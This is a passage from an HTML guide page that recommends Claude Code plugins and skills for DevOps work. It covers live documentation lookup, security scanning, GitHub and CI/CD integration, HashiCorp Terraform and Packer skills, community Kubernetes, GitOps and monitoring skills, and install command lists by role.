              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install context7</code></p>
<p>Context7 pulls current API documentation and code examples from source repositories in real time. Instead of relying on training data that might be months old, Claude checks the actual docs before generating code.</p>
<p>This matters for DevOps because tooling changes fast. Terraform provider arguments get deprecated between minor versions. Kubernetes API versions evolve. Helm chart values change across releases. Without live docs, you end up debugging code that worked six months ago but fails today.</p>
<p><strong>Example:</strong> You ask Claude to write a Terraform module for an AWS ECS Fargate service. Without Context7, it might use the <code>launch_type</code> argument that was replaced by <code>capacity_provider_strategy</code> in recent versions. With Context7, it checks the current AWS provider docs and generates the correct configuration.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Context7 automatically activates when Claude generates code</span>
&gt; Write a Terraform module <span class="hljs-keyword">for</span> an AWS ECS Fargate service with auto-scaling

<span class="hljs-comment"># Claude looks up current aws_ecs_service, aws_ecs_task_definition,</span>
<span class="hljs-comment"># and aws_appautoscaling_target resources from the provider docs</span>
</code></pre><h3 id="h3-security-guidance-infrastructure-security-scanning" class="group relative scroll-mt-24">
        <a href="#h3-security-guidance-infrastructure-security-scanning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Security Guidance - Infrastructure Security Scanning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-security-guidance-infrastructure-security-scanning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install security-guidance</code></p>
<p>Security Guidance scans your code for OWASP Top 10 vulnerabilities, authentication flaws, injection risks, hardcoded secrets, and insecure configurations. For DevOps, this catches issues in API routes, webhook handlers, deployment configs, and infrastructure code.</p>
<p><strong>Example:</strong> Running a security scan on a production API:</p>
<pre><code class="hljs language-text">Issues found:
- Dockerfile: Running as root user (use non-root USER directive)
- terraform/main.tf: S3 bucket missing encryption configuration
- src/api/webhook.ts: No signature verification on incoming webhooks
- .env.example: Default secrets that could be committed accidentally
- nginx.conf: Missing security headers (HSTS, CSP, X-Frame-Options)
</code></pre><p>These are the kinds of issues that slip through code review but get caught in a security incident.</p>
<h3 id="h3-github-repository-and-cicd-management" class="group relative scroll-mt-24">
        <a href="#h3-github-repository-and-cicd-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          GitHub - Repository and CI/CD Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-repository-and-cicd-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install github</code></p>
<p>The GitHub plugin adds direct integration with pull requests, issues, code search, and CI/CD workflows. While you can achieve similar results with the <code>gh</code> CLI, the plugin provides a more structured interface for managing multiple repositories.</p>
<p><strong>Useful for:</strong></p>
<ul>
<li>Creating PRs across multiple repos in one session</li>
<li>Searching code patterns across your organization</li>
<li>Checking CI/CD workflow status and debugging failures</li>
<li>Managing issue backlogs with labels and milestones</li>
</ul>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Check failing CI workflow and suggest fixes</span>
&gt; Why is the deploy workflow failing on the main branch?

<span class="hljs-comment"># Claude uses the GitHub plugin to fetch workflow logs,</span>
<span class="hljs-comment"># identify the failing step, and suggest a fix</span>
</code></pre><h3 id="h3-code-review-automated-pr-review" class="group relative scroll-mt-24">
        <a href="#h3-code-review-automated-pr-review" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Code Review - Automated PR Review
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-review-automated-pr-review"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install code-review</code></p>
<p>The Code Review plugin runs structured reviews covering bugs, security issues, performance problems, and style inconsistencies. It outputs findings in a consistent format with severity levels.</p>
<p><strong>Useful for:</strong></p>
<ul>
<li>Reviewing infrastructure changes before merging (Terraform plans, Kubernetes manifests)</li>
<li>Catching security issues in Dockerfiles and CI configs</li>
<li>Ensuring consistency across Helm values files and environment configs</li>
<li>Getting a second opinion on complex refactors</li>
</ul>
<h2 id="h2-hashicorp-agent-skills" class="group relative scroll-mt-24">
        <a href="#h2-hashicorp-agent-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          HashiCorp Agent Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hashicorp-agent-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>HashiCorp maintains official Claude Code skills for Terraform and Packer. These are not generic plugins - they encode HashiCorp&#39;s best practices, naming conventions, and testing frameworks.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add the HashiCorp skills marketplace</span>
claude plugin marketplace add hashicorp/agent-skills
</code></pre><h3 id="h3-terraform-skills" class="group relative scroll-mt-24">
        <a href="#h3-terraform-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Terraform Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-terraform-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install individually:</strong></p>
<pre><code class="hljs language-bash">claude plugin install terraform-style@hashicorp       <span class="hljs-comment"># Style conventions</span>
claude plugin install terraform-testing@hashicorp      <span class="hljs-comment"># Testing frameworks</span>
claude plugin install terraform-stacks@hashicorp       <span class="hljs-comment"># Stacks orchestration</span>
claude plugin install terraform-providers@hashicorp    <span class="hljs-comment"># Provider development</span>
claude plugin install terraform-refactoring@hashicorp  <span class="hljs-comment"># Module refactoring</span>
</code></pre><p>These skills teach Claude how to write Terraform code the way HashiCorp recommends:</p>
<ul>
<li><strong>Style conventions</strong> enforce naming patterns, file organization, and documentation standards</li>
<li><strong>Testing</strong> generates <code>terraform test</code> configurations and validation rules</li>
<li><strong>Stacks</strong> helps orchestrate multi-layer infrastructure deployments</li>
<li><strong>Provider development</strong> assists in building custom Terraform providers in Go</li>
<li><strong>Refactoring</strong> breaks monolithic configurations into reusable modules</li>
</ul>
<p><strong>Example:</strong> You ask Claude to refactor a 500-line <code>main.tf</code> into modules. The refactoring skill guides the process: identifying resource groups, extracting variables, setting up module interfaces, and maintaining state compatibility.</p>
<pre><code class="hljs language-bash">&gt; Refactor this Terraform configuration into reusable modules

<span class="hljs-comment"># With the terraform-refactoring skill, Claude:</span>
<span class="hljs-comment"># 1. Identifies logical resource groups (networking, compute, database)</span>
<span class="hljs-comment"># 2. Creates module directories with proper file structure</span>
<span class="hljs-comment"># 3. Extracts variables and outputs for each module</span>
<span class="hljs-comment"># 4. Updates the root module to call the new modules</span>
<span class="hljs-comment"># 5. Generates moved blocks for state migration</span>
</code></pre><h3 id="h3-packer-skills" class="group relative scroll-mt-24">
        <a href="#h3-packer-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Packer Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-packer-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install packer-aws@hashicorp        <span class="hljs-comment"># AWS image building</span>
claude plugin install packer-azure@hashicorp       <span class="hljs-comment"># Azure image building</span>
claude plugin install packer-windows@hashicorp     <span class="hljs-comment"># Windows images</span>
claude plugin install packer-hcp@hashicorp         <span class="hljs-comment"># HCP Packer integration</span>
</code></pre><p>These cover machine image building across cloud providers:</p>
<ul>
<li>Platform-specific builder configurations and provisioners</li>
<li>HCP Packer integration for image lifecycle management</li>
<li>Multi-platform build templates</li>
</ul>
<h2 id="h2-devops-skills-marketplace" class="group relative scroll-mt-24">
        <a href="#h2-devops-skills-marketplace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          DevOps Skills Marketplace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-devops-skills-marketplace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A community-maintained collection of specialized DevOps skills. Each one focuses on a specific domain.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add the marketplace</span>
claude plugin marketplace add devops-claude-skills
</code></pre><h3 id="h3-terraform-and-iac" class="group relative scroll-mt-24">
        <a href="#h3-terraform-and-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Terraform and IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-terraform-and-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install iac-terraform@devops-skills</code></p>
<p>Goes beyond the HashiCorp skills with Terragrunt support, state management workflows, and multi-environment patterns.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Terraform and Terragrunt configuration authoring</li>
<li>State inspection and migration strategies</li>
<li>Module development with versioning</li>
<li>Multi-environment workspace patterns (dev/staging/prod)</li>
</ul>
<h3 id="h3-kubernetes-troubleshooter" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-troubleshooter" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Kubernetes Troubleshooter
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-troubleshooter"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install k8s-troubleshooter@devops-skills</code></p>
<p>A diagnostic toolkit for Kubernetes problems. Instead of generic Kubernetes knowledge, this skill includes structured troubleshooting playbooks.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Cluster health checks (node status, resource pressure, component health)</li>
<li>Pod diagnostics (CrashLoopBackOff, OOMKilled, ImagePullBackOff)</li>
<li>Networking issues (service connectivity, DNS resolution, ingress routing)</li>
<li>Resource quota and limit analysis</li>
<li>Incident response playbooks</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="hljs language-bash">&gt; My pods keep getting OOMKilled <span class="hljs-keyword">in</span> the production namespace

<span class="hljs-comment"># The k8s-troubleshooter skill:</span>
<span class="hljs-comment"># 1. Checks current resource requests and limits</span>
<span class="hljs-comment"># 2. Analyzes actual memory usage vs limits</span>
<span class="hljs-comment"># 3. Reviews the application&#x27;s memory profile</span>
<span class="hljs-comment"># 4. Suggests right-sized limits based on usage patterns</span>
<span class="hljs-comment"># 5. Generates the updated deployment manifest</span>
</code></pre><h3 id="h3-cicd-pipeline-optimization" class="group relative scroll-mt-24">
        <a href="#h3-cicd-pipeline-optimization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CI/CD Pipeline Optimization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cicd-pipeline-optimization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install ci-cd@devops-skills</code></p>
<p>Covers pipeline design, performance optimization, security hardening, and debugging across multiple CI/CD platforms.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>GitHub Actions, GitLab CI, Jenkins, CircleCI workflows</li>
<li>Pipeline performance optimization (caching, parallelization, conditional jobs)</li>
<li>Security hardening (secret management, OIDC authentication, dependency scanning)</li>
<li>Debugging failed pipelines with structured analysis</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="hljs language-bash">&gt; My GitHub Actions deploy workflow takes 12 minutes. Help me speed it up.

<span class="hljs-comment"># The ci-cd skill analyzes the workflow file and suggests:</span>
<span class="hljs-comment"># - Docker layer caching for build steps</span>
<span class="hljs-comment"># - Parallel test execution</span>
<span class="hljs-comment"># - Conditional deployment (skip if only docs changed)</span>
<span class="hljs-comment"># - Artifact caching between jobs</span>
</code></pre><h3 id="h3-gitops-workflows" class="group relative scroll-mt-24">
        <a href="#h3-gitops-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          GitOps Workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install gitops-workflows@devops-skills</code></p>
<p>Production-ready templates for ArgoCD and Flux CD, including modern secrets management.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>ArgoCD Application and ApplicationSet configurations</li>
<li>Flux CD GitRepository, Kustomization, and HelmRelease resources</li>
<li>Secrets management with SOPS, Sealed Secrets, and External Secrets Operator</li>
<li>Multi-cluster deployment patterns</li>
<li>Progressive delivery with Argo Rollouts and Flagger</li>
</ul>
<h3 id="h3-monitoring-and-observability" class="group relative scroll-mt-24">
        <a href="#h3-monitoring-and-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Monitoring and Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-monitoring-and-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install monitoring-observability@devops-skills</code></p>
<p>Everything related to metrics, tracing, alerting, and SLO management.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Prometheus configuration, recording rules, and alerting rules</li>
<li>Grafana dashboard creation and templating</li>
<li>Distributed tracing with OpenTelemetry, Jaeger, and Zipkin</li>
<li>SLO definition and error budget calculations</li>
<li>Alert routing and escalation policies</li>
<li>Datadog, New Relic, and CloudWatch integration patterns</li>
</ul>
<h3 id="h3-aws-cost-optimization" class="group relative scroll-mt-24">
        <a href="#h3-aws-cost-optimization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          AWS Cost Optimization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-cost-optimization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install aws-cost-optimization@devops-skills</code></p>
<p>FinOps workflows for identifying waste and optimizing cloud spend.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Automated analysis scripts for unused resources</li>
<li>Right-sizing recommendations for EC2, RDS, and ECS</li>
<li>Reserved Instance and Savings Plan analysis</li>
<li>Cost allocation tag strategies</li>
<li>Budget alerts and anomaly detection</li>
</ul>
<h2 id="h2-infrastructure-validation-with-shipyard" class="group relative scroll-mt-24">
        <a href="#h2-infrastructure-validation-with-shipyard" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Infrastructure Validation with Shipyard
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-infrastructure-validation-with-shipyard"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Install:</strong> <code>claude plugin install shipyard</code></p>
<p>Shipyard is an enterprise-grade infrastructure validation plugin that covers multiple IaC tools in one package.</p>
<p><strong>What it validates:</strong></p>
<ul>
<li>Terraform configurations (syntax, best practices, security)</li>
<li>Ansible playbooks (lint, idempotency, security)</li>
<li>Docker images and Dockerfiles (security scanning, layer optimization)</li>
<li>Kubernetes manifests (resource limits, security contexts, network policies)</li>
<li>CloudFormation templates (syntax, drift detection)</li>
</ul>
<p>It includes a dedicated security auditor agent that runs focused scans on infrastructure code.</p>
<pre><code class="hljs language-bash">&gt; Validate my Terraform configuration <span class="hljs-keyword">for</span> security issues

<span class="hljs-comment"># Shipyard checks for:</span>
<span class="hljs-comment"># - Overly permissive IAM policies</span>
<span class="hljs-comment"># - Unencrypted storage resources</span>
<span class="hljs-comment"># - Public network access where private is expected</span>
<span class="hljs-comment"># - Missing logging and monitoring</span>
<span class="hljs-comment"># - Non-compliant resource configurations</span>
</code></pre><h2 id="h2-community-plugin-terraform-skill-by-anton-babenko" class="group relative scroll-mt-24">
        <a href="#h2-community-plugin-terraform-skill-by-anton-babenko" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Community Plugin: Terraform Skill by Anton Babenko
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-community-plugin-terraform-skill-by-anton-babenko"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Install:</strong> <code>claude plugin install https://github.com/antonbabenko/terraform-skill</code></p>
<p>Created by Anton Babenko (author of terraform-aws-modules, the most popular Terraform module collection), this skill brings deep Terraform and OpenTofu expertise.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Module design patterns from terraform-aws-modules</li>
<li>AWS architecture best practices</li>
<li>Cost-aware infrastructure design</li>
<li>Migration from Terraform to OpenTofu</li>
</ul>
<h2 id="h2-recommended-setup-by-role" class="group relative scroll-mt-24">
        <a href="#h2-recommended-setup-by-role" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Recommended Setup by Role
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-recommended-setup-by-role"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-platform-engineer" class="group relative scroll-mt-24">
        <a href="#h3-platform-engineer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Platform Engineer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-platform-engineer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin install shipyard
claude plugin marketplace add hashicorp/agent-skills
claude plugin install terraform-style@hashicorp
claude plugin install terraform-testing@hashicorp
claude plugin install terraform-refactoring@hashicorp
</code></pre><h3 id="h3-sre-operations" class="group relative scroll-mt-24">
        <a href="#h3-sre-operations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          SRE / Operations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sre-operations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin marketplace add devops-claude-skills
claude plugin install k8s-troubleshooter@devops-skills
claude plugin install monitoring-observability@devops-skills
claude plugin install ci-cd@devops-skills
</code></pre><h3 id="h3-cloudfinops-engineer" class="group relative scroll-mt-24">
        <a href="#h3-cloudfinops-engineer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cloud/FinOps Engineer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloudfinops-engineer"
        >
